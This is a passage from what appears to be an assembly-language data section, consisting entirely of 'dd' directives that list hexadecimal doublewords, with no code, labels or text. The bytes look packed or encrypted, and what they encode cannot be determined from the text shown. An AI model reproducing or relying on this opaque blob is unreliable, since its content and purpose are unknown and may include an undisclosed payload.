3B60D55Eh, 791F4107h, 1800437Bh, 4DED4687h, 0FE612E68h dd 561400D1h, 0D7766EE1h, 3C003D1Fh, 0C3AEFE96h, 26081D39h dd 0E15F304h, 792017CFh, 0C6F7725h, 800AC839h, 40A3DF6Bh dd 9E6714h, 0EC86FB02h, 0C41FB403h, 88C22201h, 4E43F0D8h dd 1CA750ECh, 38F1C13Bh, 0EA13DA00h, 0E1C3E73Dh, 0AF6A10Eh dd 0E7838E8Eh, 6EE05C4Fh, 0FF576F9h, 0ACEB9CD8h, 0E95B409Dh dd 8299C5E2h, 97D4C200h, 0BBDEB98Bh, 703600C3h, 0F493A7FEh dd 640E597Ch, 0E01BFF35h, 159EC565h, 86FC3BB8h, 0EA62C880h dd 0A1806A4Ch, 45009474h, 0E30A0464h, 0FE653F38h, 0EF4D00D1h dd 701BF6BDh, 6F008829h, 0CF948E46h, 7586AFh, 649BF11Eh dd 950AAA07h, 8365413Dh, 0FFB7090Ch, 7DBE00F3h, 17B88451h dd 0DB00C8E1h, 1FD54303h, 1F3862F1h, 9C6BBD23h, 7211C069h dd 0E09C49D0h, 9D56A71Ch, 8E87A442h, 78FA61F8h, 0ECC83FFDh dd 0DA6B008Bh, 0C50B5494h, 64005695h, 0E46C59CCh, 0D4749h dd 0A168C4D4h, 7DDB5DD1h, 80001CFAh, 16A4F222h, 2DB4ADh dd 0B76201CFh, 1DD22376h, 5C6AC001h, 6D737A22h, 568050BAh dd 246CE2E3h, 89070981h, 3A26D314h, 85842A0h, 0AEC03F3h dd 0F954BA71h, 72529AF0h, 26703806h, 3891FAh, 2112EB1h dd 0A8ADE086h, 629A8A00h, 8CF359B4h, 0C7FB724Dh, 71A481C8h dd 0C07C97F8h, 30FEA82Eh, 40001377h, 880BACDDh, 0E41AE8h dd 74EF3B0Ch, 0E5EEC060h, 0E372D200h, 1CBD5597h, 52F800F5h dd 0E91829C3h, 4100F660h, 0E8BFA79h, 0C8E2ABh, 1519F9A7h dd 0DE57406Fh, 80518F39h, 76B22747h, 0B3DF37h, 14A9EA12h dd 34B758Ch, 0CF0F06EEh, 0A0C5FBA7h, 0B58EF38h, 576184Eh dd 9A8785Dh, 0A99CF130h, 2CB582D8h, 0FE0118Ah, 0C3A7703Eh dd 0EAC6F023h, 36016A0Ah, 8B9BBF25h, 4881468Dh, 0B4903161h dd 0EFFEFC1Ch, 6F3CB3F4h, 803D3C5Ah, 8857C8DFh, 5EDABACAh dd 0FA0FCCDh, 20245372h, 0D8FC6ABCh, 18E05Eh, 0B848743Fh dd 0CFEE6949h, 0B0E9B0A8h, 473C0376h, 3FC22C6Eh, 94878300h dd 3E3CFCh, 25FDA7E1h, 0D901BEE7h, 0F2A88400h, 0DCFF3A0h dd 8EB80E43h, 8B209932h, 11E7BDF0h, 0BE6E4407h, 46906F4Eh dd 0A3F20Dh, 0D3CB219Bh, 9D1A93E0h, 15DBCA0Eh, 0AC9533h dd 609438C1h, 7D61EBh, 586932C0h, 75B0FCB2h, 0E00F6F6h dd 838D6ED6h, 5C0CAD09h, 4E00D015h, 72FCAE7Bh, 24006948h dd 88C5E3E1h, 0EE9573Eh, 4F734E4Bh, 441ACDA0h, 0B40FEA21h dd 1D4D780h, 2BBEF40Bh, 712AF8h, 7AB891C0h, 4F145882h dd 860D2D00h, 0A446DE60h, 0E77F24h, 0ECFD2E7Ch, 88C9370Bh dd 8AF6FA7Eh, 0F9E93B00h, 622E54FBh, 0FE7603AEh, 2463BD50h dd 1F5D43B0h, 282FB400h, 70956121h, 52C80758h, 87DED0F4h dd 87E4F0CBh, 3004D84h, 90E9C47Bh, 7F5A20h, 10DEA883h dd 3F1135A1h, 0F047DB2Dh, 0F8E20046h, 0F418DCE8h, 39906FA5h dd 9BE56500h, 98CDD05h, 0C41E12D0h, 0DC26003Dh, 50EADF15h dd 3F4891Ch, 0BB8023DEh, 0DB4A1659h, 57D90086h, 4797B8DAh dd 0E2245D76h, 38DF68h, 0E50780Dh, 80D626h, 0FC6BAE1Dh dd 0C37F3DFh, 66ABE700h, 0E3878D67h, 623E2484h, 0BA9200C3h dd 8FE8595Bh, 215E9903h, 0AD9FC378h, 0E7D2F607h, 49101BB7h dd 9B42E6h, 0F59A65D9h, 0F997A528h, 0CDA9D400h, 1674DB78h dd 9A21D81h, 4ECFC031h, 52287708h, 9AD85D13h, 37FB00EBh dd 0A21E0F09h, 0D904A9F4h dd 5F8D4188h, 0EB516FC0h, 93790030h, 0F4EA2653h, 4000E6FEh dd 0BEB66786h, 1EFD55D9h, 0C098A349h, 0F0EC7DB9h, 9100174Eh dd 6450C83Dh, 0A6BD25h, 21B78348h, 0D7AC3E35h, 0D5AB4102h dd 405D65F3h, 0FCEDBE6h, 0BB699A3Ch, 38957E0h, 1F73AD27h dd 15347600h, 0D5C12BD6h, 65AA0056h, 432CDCB1h, 1000EC39h dd 62A0EB13h, 0AC6BB2h, 3180307Ah, 0CA6DF9D4h, 4752F501h dd 0FAB082FDh, 8DDC56C9h, 107E609Fh, 0FB811520h, 31642200h dd 99D7BC24h, 0A05F603Ch, 270B4F55h, 18B38A1Ch, 79323001h dd 74F0523Fh, 6824001Bh, 0A88BADFBh, 0E20FA616h, 603CE515h dd 44194EBBh, 95A200E9h, 83028742h, 642817FBh, 0E2183434h dd 0B831E6CCh, 2457893h, 26441C81h, 14831B57h, 7CB8FBDAh dd 23008A63h, 57C2F1C8h, 0E11113h, 0F26F5C0Ah, 0B33DF9B9h dd 8DB79300h, 463DD39h, 32B5001Dh, 0B246C07Ch, 7A0070BFh dd 946911F9h, 0FEB1513Dh, 3738003Ch, 0BAB0EE88h, 12F8EDC0h dd 8453CA00h, 739DB7D9h, 7FAE00D4h, 0A77D5C3h, 5D72B313h dd 539AEA00h, 0FDCAC133h, 2C71C3Eh, 0E24980F3h, 2A4B9701h dd 5A5D4A00h, 0B7E8D337h, 1979034Fh, 5B7D7B34h, 0E6FC1B88h dd 96D8020Fh, 88C2067h, 0C0BBBFC7h, 154A89F8h, 9800FAA3h dd 0EDE2A5F6h, 5CBEA604h, 0D600859Eh, 5CC28E2Ah, 3300E339h dd 9C3B4AF8h, 78F1DDD4h, 705E00A9h, 4E9DA41Ah, 90757B1h dd 9851D0D3h, 0D179E380h, 0A27C01C3h, 0D833B94h, 800BD1CBh dd 0B5A31C21h, 0F40117h, 49338DB0h, 4B85F1D7h, 0E670581Bh dd 0AE582329h, 0E2BCB00Eh, 19CB4B2Dh, 164311C4h, 6050FCFCh dd 0D1F4669Ah, 0B10F2C39h, 5346157Dh, 0F7351000h, 3779850h dd 286F79EAh, 559299F1h, 0BB45A840h, 94C17F0Fh, 0EADDE027h dd 579B35h, 2D47E8Fh, 8E917071h, 21AB3300h, 369AFD5Ch dd 0BC7D1FBDh, 6ED7C8h, 76940B4Ch, 700A83Fh, 3ADAA5FBh dd 72455390h, 2C700011h, 0A68993A2h, 0E5B8F75Ch, 0BCD53F00h dd 4697BD96h, 0AB4C0048h, 21F35727h, 4890E192h, 1A74F000h dd 49109CACh, 440B00AAh, 6F63F480h, 8E988BC5h, 0FFC2000h dd 8EC2427Ch, 484CFCB4h, 93001484h, 0BBF19104h, 0B10706E4h dd 5CD76B4Fh, 9900D435h, 0E6B58936h, 843C3F74h, 0E8E19E07h dd 0E580DBF3h, 369DDA18h, 3FE5873Fh, 70F00F9Fh, 6446DF28h dd 503326h, 0F9D954D8h, 0E2605708h, 0E0691760h, 3AA20D14h dd 7A0F8EB4h, 48582D9Bh, 71001223h, 0D6E861C7h, 13FC3F7h dd 0BFFE2A51h, 0E086559Ch, 8F00D504h, 17197164h, 0F92659Ah dd 81DDCBB1h, 4F97CC81h, 1F68809Bh, 0A19D2FD1h, 98070090h dd 9E46386Ch, 93012843h, 0DBA65EA8h, 0C39B92h, 3BC0E981h dd 5083CEC8h, 0AB00B9E2h, 0F27B7CA7h, 0AF5E52h, 9A59D91Ah dd 921C2F25h, 779F68C0h, 3823A346h, 0B480CDAFh, 5E481091h dd 6300418Fh, 7BE3EAF2h, 3AD58117h, 0CB9F1D54h, 964A4EDFh dd 0F0D8E741h, 39FAC335h, 0DA3B840h, 6015F300h, 0DD95BB92h dd 1FF71896h, 80A250BFh, 0A89A818h, 0F6128E30h, 2EA46h dd 0F797087Dh, 6FC72EC9h, 55B69203h, 9FBE720Bh, 0BBEA7021h dd 0F8D80C40h, 3B6C1612h, 5BAD0E7Ch, 44D58280h, 55019356h dd 0AF80D49Eh, 0B57053E3h, 1EB307E1h, 8174D2CCh, 0CC7EE60Ah dd 50016123h, 8DAC1456h, 1520ED1Dh, 0E4AE1ED9h, 819BC086h dd 0CA5E1016h, 51ECFB0Fh, 308BC09Dh, 50F917E5h, 5D903Ch dd 45742D6Bh, 3FE7140Dh, 0EEA89CA3h, 1807B844h, 0AE667202h dd 0D8C14720h, 0CA22034Fh, 0F399C283h, 76D54EC0h, 0ECA17500h dd 0C49DDE70h, 0DAF14A4h, 2A8F040Eh, 0F160B02h, 8B40CBDh dd 0CAF43069h, 25C73FD1h, 90B11800h, 0FEDBFC8Ah, 0D0C4B98h dd 18191DA4h, 0DC4A22C6h, 8961E21h, 94A4B22h, 5A280C20h dd 32124FFh, 0C561597h, 2118EA2Ah, 608FDEEh, 4B6A4055h dd 0CAB008AAh, 29A46300h, 8D9A7FADh, 4E0CA0DEh, 0C92844A2h dd 21A99022h, 450AA10Dh, 88151899h, 0C412A24h, 18A3E728h dd 0E969D20h, 1954AB8Eh, 0DCE43820h, 933EA1F5h, 324E0C03h dd 4771806h, 0F0B1DA27h, 3C2D83DFh, 7DE0EE83h, 32008C17h dd 0DA8606E0h, 0F0A9016Fh, 3880F9A7h, 0B4DED5B8h, 9FF062B3h dd 8095E400h, 6507719Eh, 5B7C00D0h, 0CA2B2A0Ch, 0F20F9FF3h dd 80FDDAB7h, 0BDA37E35h, 62671C01h, 6A1F013Bh, 0E01A187Ah dd 0C7018ADCh, 0B6DD166Ch, 0EB71D32Fh, 19534C0Ch, 880CB430h dd 0E3D9E0F2h, 0D5705F00h, 0B7A398F6h, 0E59500ACh, 0E0E94E5Ch dd 0E200C5D9h, 0B0051C70h, 5B11CFh, 926C0C60h, 0B81235C9h dd 0D8B87674h, 86DBE8FBh, 83081CA5h, 0E4CB788Dh, 0E5FFBD00h dd 658EA37Bh, 46CE029Fh, 0C495925Ch, 0F11DC095h, 0ED8900A0h dd 75EBBD5Dh, 57B0529Dh, 13BE088h, 0DF0A40Ch, 6228A5h dd 9CF5DE94h, 34F197E8h, 3BECBA74h, 5E5C4CF9h, 0E9A13F00h dd 6A2AB4FBh, 0E7F07BAh, 3340F415h, 41B81269h, 0F00D7C9h dd 2A4E6149h, 233649Dh, 0A62C0A85h, 0BC813B80h, 0D447A219h dd 0BF247832h, 9E871008h, 0DAF1158Eh, 2983380Fh, 0B3376DA6h dd 8C0A70F8h, 0B121FFF3h, 603AF0C4h, 1788698Dh, 0BDBC584Ch dd 2327E600h, 0A777E59Bh, 0E9DD0A1Bh, 8EC82474h, 8F8103FDh dd 9E2B9EC0h, 4171D238h, 0E3E0F030h, 7C671B3Bh, 56A03118h dd 5300374Fh, 49C986C4h, 49B42A6h, 15AF1E76h, 7E749804h dd 20A71743h, 0C52B6650h, 80B0FB3Eh, 2EFEBDEBh, 0CFC77B36h dd 0A7E0B8D0h, 0A6B7325Fh, 5038C806h, 7A402A5Ch, 0BB2C050Ch dd 470884B8h, 60443180h, 747F66B1h, 1CA42F14h, 9862AFACh dd 0EEE0C06Dh, 84A168DEh, 0C4942262h, 0D48ABA3Ch, 1860820Ah dd 30095544h, 7E9827E9h, 40C927A2h, 91961D40h, 808767E8h dd 0F057DDE8h, 0FC228A00h, 0A4A23ACh, 48EE213Fh, 24AB65F0h dd 58DCD80Fh, 2B00BD11h, 976A025Ah, 7C20C9ACh, 0A574EEF1h dd 7FA60084h, 42BC5F6Ch, 624C6400h, 5B13AB68h, 0F52500DAh dd 9D2CA79Eh, 7E3A21EBh, 0D4B2830Eh, 9058C049h, 16F3C607h dd 0F1C511D3h, 7D808021h, 0FA646273h, 0DAE30A0Ah, 0AD8917Ch dd 8D04626h, 0D54008D9h, 4C955C87h, 8F2E8019h, 64C83BAAh dd 0F88309AEh, 29089826h, 0AE053915h, 796C3F80h, 681A392Bh dd 40DEDB07h, 0BC20F651h, 9101A7BEh, 86035C0Ch, 89843B5Ch dd 41A988E0h, 492E4h, 0DEB5B99Ah, 157D307Fh, 0BCFC1052h dd 0CB3F015Bh, 0D5BC684Fh, 0F490FE66h, 9F025D9Bh, 83975904h dd 69809626h, 28BF08CBh, 0E08BB905h, 9044E88Fh, 0F1C33A12h dd 0FE1BC08Dh, 8581E220h, 98DA13C9h, 0E4202211h, 14CB882Bh dd 0C8B1CA11h, 0F7A7A31h, 52118119h, 0DBF0BF83h, 676F4200h dd 2F6878CBh, 0F52EE1FCh, 7474946Dh, 78FE9864h, 40E549FAh dd 1BEF602h, 0A4AB977Fh, 0D131C00h, 0B40BE0FDh, 6FC844Eh dd 20489194h, 9C809373h, 8539D7D3h, 8058BD77h, 1BFA4E06h dd 78509B2Fh, 0ED020014h, 0D4817BA2h, 0C6009523h, 0AAD39720h dd 12ACC0Fh, 6A12482h, 3A09754Dh, 634FDEC0h, 0D9CA00E9h dd 61BA46B3h, 7307AB34h, 0DCA57A30h, 0BE1C0170h, 5838C050h dd 410B3304h, 4E38951Eh, 5EAF8500h, 639347h, 9F01902Eh dd 8B4114Ch, 0CC5AD400h, 1D750F30h, 5BE8307Ah, 94704DB8h dd 140696Fh, 0D5826357h, 5C23319Eh, 65BB004Fh, 0BD0CA695h dd 14DAD100h, 0A1FE2D51h dd 7128C06Dh, 7B633FD3h, 9D554301h, 8695A350h, 0E89A3188h dd 18A50C78h, 600BBFE0h, 20C8366h, 380DFAC8h, 4EB5215Ah dd 0BB9BE6C0h, 0A27500E0h, 45DA4695h, 0CD045AC8h, 0B31AD1B8h dd 0F33BAB3Ch, 299481A8h, 0FFD92313h, 0B8DBA08Ah, 694FD06Ch dd 9962087Eh, 9B840338h, 9B0CC010h, 0C8BD6240h, 1A02A6E6h dd 2448B6D1h, 18440F8Dh, 0C3C638BAh, 7CC75329h, 0EA1D52E0h dd 0C8185478h, 698A92Ch, 183F605Bh, 0B49B3895h, 10A08614h dd 0CD6594CEh, 66F44218h, 0DCBCB8CBh, 7682D20Ah, 438CA44Ch dd 419A88FCh, 5600FEDh, 0BE0C6657h, 2695ECC0h, 0C8030A42h dd 6714767Ah, 0A00AE2F5h, 43068CA3h, 0C1A42846h, 0C13B765h dd 38E6C180h, 7EB05E2Bh, 54977600h, 307A12F3h, 0E5F80023h dd 0AE3F60D9h, 0A077C33h, 0B67BBC2Fh, 7AD63020h, 0B890185Dh dd 775F10A2h, 843B20A5h, 43C4032Ah, 0F1041C00h, 3C05BEF7h dd 61F07BA4h, 8961C2Ch, 5806ED0Eh, 0A53E7C02h, 0F549E7Bh dd 0C99DCEE1h, 22DC0E50h, 0EFD0CE34h, 819046C0h, 2A7021E8h dd 9E8A01EFh, 3C0059E2h, 7A0E7DDFh, 86C19850h, 1F496CB0h dd 1A7C4B1Ah, 7C1E509Eh, 2F4B151Eh, 9C0F5710h, 7EA6B2C8h dd 7C8738B1h, 0BDEA4F81h, 4080D698h, 7C49A3FCh, 9C66530h dd 3180169Fh, 5B48191Dh, 3E05E6Ah, 9ECEBEE1h, 5C5001D7h dd 0D05E6C09h, 700880EFh, 505D5541h, 37267CB3h, 0C0683F10h dd 0BEFA0168h, 807B6E28h, 0DCF29E28h, 8F33031h, 209103C5h dd 6A4B1502h, 612EE0B0h, 565D203Fh, 6F64BC00h, 4836905Eh dd 0EBD0317Ch, 0BE22B078h, 92933E0h, 7F19006Bh, 5D707A79h dd 101D7BF4h, 501EF59Fh, 0CE4310F7h, 0EE70E018h, 0BEF819B5h dd 41C309A6h, 8CEA3EBCh, 0B04F7030h, 492D6630h, 9E2A20BDh dd 0AB48D0BBh, 5AF00C1Ch, 0C710837h, 1D7079CEh, 18DE6D21h dd 48F2FC1Fh, 50B6C0DBh, 8F09CD92h, 0D03AF1A8h, 3B3A4DE5h dd 0B0AD0F65h, 81CD0966h, 16F632Eh, 0DAAF0884h, 989BC09Ah dd 6D19E52Ch, 0EE302D61h, 2FC8098Fh, 2C82ED82h, 0E8734101h dd 2087F1F1h, 8269E68Dh, 4D035D6Dh, 0AD08112Eh, 4946306Ah dd 0F8EAD0D9h, 0C66306A0h, 18BFFE0Ah, 8400EC7Fh, 6A29FDB5h dd 0B41AD5h, 5BB371CEh, 0B77BEDE9h, 13ADE70Ch, 66921059h dd 50CA7862h, 0CA021AF1h, 0F0125FCDh, 81C91101h, 7051D0FBh dd 468D30EBh, 5AA4AD08h, 1933E978h, 78346058h, 70226308h dd 80F0BCDh, 834582ADh, 0E142F90Dh, 1886464Dh, 1044AE8Dh dd 6D3040h, 6F656C54h, 2DEAD1E1h, 0C350A152h, 0C0061E83h dd 15CEB6CDh, 688A62B1h, 729C5CA0h, 51314367h, 0E0C8F9DEh dd 0C66D6884h, 15733862h, 0ACE833B8h, 10F12Bh, 0B34BACC5h dd 0CE14B771h, 8805A91h, 1444BF0Dh, 8D08F82Bh, 0DA006470h dd 828F66DFh, 0CDEA18E1h, 0B50D0862h, 2D1854B8h, 0F3307857h dd 0D868C42Ah, 0FC2C8123h, 383898EBh, 92180D48h, 0ADE34020h dd 0F010CA49h, 20BA3774h, 317E1B1Dh, 0CDEB7306h, 0A5B05BA2h dd 12D4108h, 0E92BD74Ch, 0F0110D1h, 0EFA9E26Ch, 0E8DD4024h dd 0E94D2AE7h, 54193BFCh, 40C1E856h, 50F46B2Eh, 49E411B4h dd 0C8500C90h, 6EF62DA4h, 182F651Ah, 7CD83648h, 0F2C02234h dd 56BEB10Ah, 83D88CE9h, 0B27F307Bh, 0C4DE51B9h, 0E68E890h dd 0B7D88868h, 18273071h, 0C6CFF169h, 0C4616373h, 56B38F08h dd 0B13B785Ah, 29EB0888h, 0AA6F9104h, 0DAC028C1h, 8067BFD3h dd 0B9BD2F81h, 49DBBC20h, 24E0889Ah, 46613016h, 0C77B31C9h dd 980C5095h, 0E827ACF0h, 0EC64AE2Ah, 2F38C362h, 0D89C080Dh dd 0F8300DF9h, 2B7139EFh, 0E0F33EA2h, 0A015B93Ah, 0E8F0A017h dd 4E7F23DFh, 751140CEh, 7333F098h, 652A3007h, 9608B130h dd 7100A898h, 287D15B8h, 3AFC851Dh, 5C0B16F8h, 7107BA3Ch dd 7A009E2Eh, 9AFEBF2Ah, 0FFAEB41Eh, 24BAC500h, 7697FD07h dd 3DEF0003h, 0D7088266h, 0EC07586Ch, 3FAE3C8Ch, 13020DCh dd 0DDD1591h, 0D5DC8523h, 273CD01Ch, 5AFF9A0Ch, 38DA60F2h dd 1A182151h, 9BBA68A9h, 0A580BB43h, 67EEB386h, 0CE3C8F07h dd 0FA05E6AFh, 0A5F21860h, 0E7A200E1h, 0B302D8B5h, 8E07B677h dd 997A1128h, 597EDC60h, 79070068h, 0FE2CFDB9h, 4C014B7Ch dd 239DD97Ah, 7FC0269Eh, 0F359377Dh, 94DC1151h, 42E10B4h dd 30BCE09Bh, 3F285621h, 4CE279CDh, 0C81948C2h, 11021C22h dd 2410FC9Ah, 37AD6074h, 197E3FDAh, 99790603h, 59A009E4h dd 7A0C695Fh, 50682639h, 86B66A4h, 0D90F182Bh, 8C79024Bh dd 60DCC0C5h, 24390965h, 783AD97Dh, 93F90E22h, 60EE009Ah dd 3A8EFE20h, 0D7481FA5h, 3500186Fh, 2F2EFDBBh, 4E189870h dd 0C6088666h, 9CEE084h, 8E015E7Ah, 2E80248Eh, 0B82150Dh dd 195F303Eh, 4119464Eh, 23CACB00h, 8E308BE8h, 532128F4h dd 8A0E1901h, 0BCA35897h, 183D3008h, 749914EEh, 376A03FBh dd 9BBBAEFEh, 0F3D64EC0h, 0BD8EFD07h, 0B643FCABh, 6DEEC021h dd 3C0EF8F2h, 718C9DB5h, 950C116h, 0F5641B00h, 38816CAEh dd 39C9387Fh, 161F983h, 0E8EEAACEh, 82F2F007h, 1E5F834Bh dd 0FCB8B081h, 887160Eh, 0CCFE75EEh, 68C6D6A8h, 0EA10D4EAh dd 2EFC0EBCh, 0AE82A73Dh, 0A0858E59h, 0CE9C05D9h, 6EA803F8h dd 0B818DCC7h, 0B508DF57h, 2EFE0C36h, 0A5D88D71h, 0CE369C74h dd 665008A3h, 8762824h, 19350E20h, 0A0E5786Eh, 2808BE3Ah dd 23F88497h, 0A6CE94A0h, 0F94E88A0h, 0D0C609CCh, 8CB3538Eh dd 80C575C0h, 3B838103h, 8B0A94BEh, 0CB072A7h, 0DE48F19Ch dd 3A204AEBh, 29591554h, 44F90AACh, 571CF8D4h, 0A16E0142h dd 0BF8883ECh, 91A015CAh, 3980D4F1h, 114EFCAAh, 0D27F2CA6h dd 80AEB910h, 0CD5A1901h, 88D52B12h, 78B4CED0h, 4D01ED2Dh dd 39CA3ADFh, 4424DEB9h, 14567438h, 0A0ACE4AEh, 83347801h dd 37363ABh, 0A0086803h, 9C523CF0h, 5F43A4A0h, 683BFC30h dd 0CE0807D9h, 5BDB750h, 78F3D72Bh, 0A5085E9Ch, 0ADD6306h dd 9FB88F79h, 123C24D4h, 4E2C0040h, 0EB8220D2h, 70E53224h dd 30C8C3F0h, 99F92A0Ah, 8407FC32h, 2BD98B0Bh, 12D7FD31h dd 0B844FEDDh, 7D4A243Ch, 0C42945B0h, 0B8AFE52Fh, 6E18C0Bh dd 15303CDFh, 30AB1159h, 0CF48CBA0h, 18CE6B24h, 3022608Ah dd 2491CBD0h, 85306CC7h, 79220419h, 6C4420CCh, 0B9AC8354h dd 870AA93Bh, 12C6084Bh, 74C0C544h, 0F832D7CEh, 63B0266Bh dd 24FE2C58h, 0D1350904h, 81591004h, 0ACEED4h, 0AF226E0Eh dd 0DF2301E8h, 24786740h, 78C28408h, 40044CEBh, 0F025610Ch dd 80D6F8Bh, 0C1645784h, 2630CA0h, 0EE5CC0E1h, 303F62B4h dd 484171D7h, 0F026D777h, 123A3066h, 5841A69Eh, 54EFECCh dd 0B40E0887h, 35AE029Ch, 6BEBB860h, 0E0182249h, 481AC7C0h dd 28A4032h, 3048F8C4h, 0DECBC410h, 1D56990Ch, 0C8AF0D68h dd 0FE7E5982h, 24F8AEBAh, 0B4C0171Ah, 3184F948h, 0B102BCBh dd 0CF9C24A6h, 0BB800650h, 0AD8B08C0h, 326B1292h, 0BAD0AF49h dd 194B6840h, 0DD18DC62h, 34A88239h, 330C0FEh, 0F3F0E9FFh dd 74C898B7h, 8EFB1C57h, 2C78BA3Ah, 0F2CC8B6h, 0E86C7B0h dd 0CE131814h, 0C40AFFDAh, 0EE1DB41Ah, 0F82B8D5Fh, 9F2F4760h dd 975988DFh, 0B88D50B0h, 6520D587h, 58307AB6h, 94500BF9h dd 0D4E65750h, 38E41381h, 19A05150h, 69104C17h, 1FDE4608h dd 0FEB909DDh, 0E32E1001h dd 0E84BF3h, 91F2D076h, 304178Dh, 0C2414A45h, 1EC03167h dd 0A601B62Ch, 0DF194F65h, 18402EC8h, 0B7FD6072h, 8E3C02D8h dd 33E67EE9h, 5D4B5800h, 642496BFh, 105B5186h, 0CCC3A940h dd 7620CEDFh, 0B808EB80h, 831CB4C0h, 0A70AC21Bh, 69C71CFEh dd 20CE4152h, 8EC2F56h, 0B861F802h, 1EC1DB83h, 1746570Fh dd 3610504Ah, 62B8103Ah, 0C0C39B3Bh, 9302F6E1h, 8D983E0h dd 2098C8A9h, 1C08A662h, 5B24A5A2h, 0F6D85C39h, 81476E0Eh dd 6A94DC4h, 2B089D0Ah, 407CB79Bh, 2ED48FACh, 420141D3h dd 477808F9h, 86F07C4Dh, 8FB5082h, 8331212Dh, 827B4485h dd 3D04946Ch, 892008ADh, 0B4BDB615h, 9E0E090h, 966A445Ch dd 84B4C12Bh, 696603CFh, 76311598h, 28F5F8B8h, 69F0E82Ch dd 170DF6F6h, 71BFB446h, 8180200Bh, 95B5B40Ch, 0EBFC0492h dd 0C3E2A880h, 82701B08h, 4805799h, 3D6D2C38h, 4412011Ch dd 990C1F5Eh, 0C67E307Dh, 3804B0BCh, 30BCD670h, 0EA5EF602h dd 1B39D08Dh, 693903B4h, 0A13B03Fh, 0DEDFD670h, 3868399Ch dd 0F7D0D880h, 3F893B0Ah, 0E4BDE85Eh, 231D7838h, 78178349h dd 805CBA95h, 86D652ECh, 7F652B3Bh, 12014F70h, 80142848h dd 894B7670h, 3E05C870h, 7FE4CC1h, 0C0CCF93Eh, 0B288C08Eh dd 210333D0h, 86C60496h, 8491B060h, 708A1C10h, 88383028h dd 1873DCEh, 0DB696A57h, 0B164005Fh, 0E87010E7h, 0CDC81006h dd 965D6AF0h, 20E67307h, 0E801C491h, 71BA0870h, 0E2168046h dd 805B3A2Eh, 3FD92A4h, 5941326Eh, 4820A8B8h, 2D052FBh dd 2C0487EFh, 24E096AAh, 32009446h, 0DDA8C5E7h, 68216Dh dd 0C80AAF39h, 0B2AA2BBDh, 24811CA5h, 0A950E1BCh, 171E0100h dd 0AC8A2C0Ch, 0C8B7082Eh, 5ED0EA40h, 2EB83060h, 14A56179h dd 0B5CA2C10h, 85402A23h, 9467D1h, 416DDF1Eh, 4AAF26A4h dd 6A389CFFh, 41E05310h, 606015C4h, 1DBA1B1h, 0CC7EB82Ch dd 6A80E509h, 0C17CBA56h, 5D215516h, 1F18111h, 885F20Ah dd 68C00FEAh, 0A8B0227Ch, 0DE0D5401h, 63EDE16Dh, 0C042F888h dd 10827CF0h, 1DD910h, 2CCCFAC1h, 8FC0424Ah, 0AF8A4E1Eh dd 4C43F0CDh, 0A5A815EBh, 0E7A074BFh, 3030C32Fh, 0F1017021h dd 0BFA980F9h, 0AB0170ADh, 1B886351h, 873A6101h, 13214A70h dd 0EAAE2A41h, 0B611B442h, 31F6F678h, 41499448h, 1A6A0155h dd 0D5CA089Eh, 1A07CBFh, 0BF54910Fh, 8432A198h, 0B6DE20CDh dd 13721E7Ch, 1C1ED0E2h, 78772E81h, 28D87C7Ah, 20E5102Eh dd 0F7E10923h, 5D0C022Dh, 4B74B4C1h, 62B9BCAEh, 269CC139h dd 6B7AE97Bh, 13D6078Fh, 401AC66Fh, 0CD752115h, 0C174431Ch dd 49809F19h, 5701398Ch, 0E7494AE8h, 485B312Ch, 886850Ah dd 1801E68Ah, 20027724h, 0C8093718h, 87ECA115h, 2B0A0885h dd 0D9478BEh, 0F3366318h, 805B6179h, 233AC2CAh, 710F31AFh dd 9C5EBEEEh, 39B66902h, 41031B60h, 0AA481B24h, 0D8A19815h dd 68088CEAh, 0C3DA5825h, 24444A60h, 0ED5D0814h, 0BE6E15ECh dd 91A3E0B0h, 9D8C205Eh, 8899A101h, 0BDB829B6h, 0C33041Eh dd 0BC91802Fh, 0B6E48881h, 83562A9h, 8C490E69h, 0C0183738h dd 65E0E58h, 8C8789DCh, 0E09EC940h, 0BFA72B8Ah, 0C2B1C094h dd 41C3126Fh, 71DDE5C1h, 0E0A09388h, 95650270h, 22CCD49h dd 8A2BB59Ch, 0AAB860D6h, 30CC64EAh, 5D389146h, 6D109BECh dd 8264E2D8h, 0EB06ABCh, 92C8BD8Ah, 0D91C4C8Bh, 20DFD6C1h dd 304DBF12h, 0E2F108ACh, 3FCA2084h, 27BD0728h, 15292A41h dd 49534892h, 0E83EA638h, 5E695304h, 7493D738h, 4AC810DFh dd 0EEEA3EA6h, 30658458h, 1BAA6483h, 80C1CAD8h, 0D03C5EC3h dd 2050C90Ah, 0C4E3F80Bh, 0D3716A28h, 3074A2A8h, 64AA6240h dd 1FDA3974h, 404C8E92h, 0C4E949A6h, 0E12D3E9h, 19381BE3h dd 99E6EAF1h, 0A109F71h, 0DCC3F077h, 6A081814h, 161D3817h dd 3E4548C9h, 16A80524h, 91A7BF8Ah, 8C6CF6B8h, 0A8F9EF88h dd 0E0C89B14h, 1383A4D3h, 0C9037384h, 824ABD0h, 1F289FB2h dd 594852F2h, 0CAA100CCh, 2C6AB0C3h, 37688948h, 0D1B3C84Fh dd 0B2082B2Fh, 0EA81EEECh, 11ACB80h, 0D0BDE381h, 8164AD70h dd 4E13D73Ch, 0AFE100CDh, 9F85836Ch, 5A206A4h, 203918DDh dd 8A2BF4C1h, 0DF60548Ch, 0C6DC6EBAh, 0A9D621F9h, 0F0288E59h dd 20FCBEF0h, 112D1B1h, 3C0662C5h, 49086422h, 64F0FC91h dd 94200915h, 166102D2h, 8CEAB078h, 73CE043Eh, 7DC2688h dd 523EE041h, 0B0C5E800h, 9834172Ah, 0D8505020h, 0D1D3410Ah dd 0CA00307Fh, 8E4388A5h, 20DFC207h, 0B0592DA1h, 0E09C0A23h dd 0DAF98D82h, 0D18139C4h, 8435EA0Fh, 9E10AFF0h, 0E139FC61h dd 708058C7h, 719FD6A6h, 8C08D42h, 0F0FBE3A1h, 0FCA5008Ch dd 6F732990h, 4BF8F13Ah, 1100E0F0h, 27B0ED1Ah, 1716C0h dd 24730AD7h, 23D04B20h, 904CF80Ah, 5F581C2Ch, 884479CAh dd 7A902813h, 0CE98701Dh, 9EAEB007h, 670D5080h, 7460F862h dd 0A2F01E5Bh, 0A6900369h, 0B4A04F3Fh, 501D4B78h, 0B0006B7Ah dd 0D04C8A7Eh, 0F82074C9h, 3008C390h, 1829FF2Eh, 53604828h dd 8849D2F4h, 0C5638833h, 0A3F52060h, 3AC7FBD0h, 10FCB608h dd 38CFBA30h, 7A18E315h, 2F083106h, 0F3C1068h, 98F21302h dd 0D3031805h, 22F93769h, 0F65A4368h, 8AD0F0C1h, 889C1070h dd 646B183Ah, 0D96F3090h, 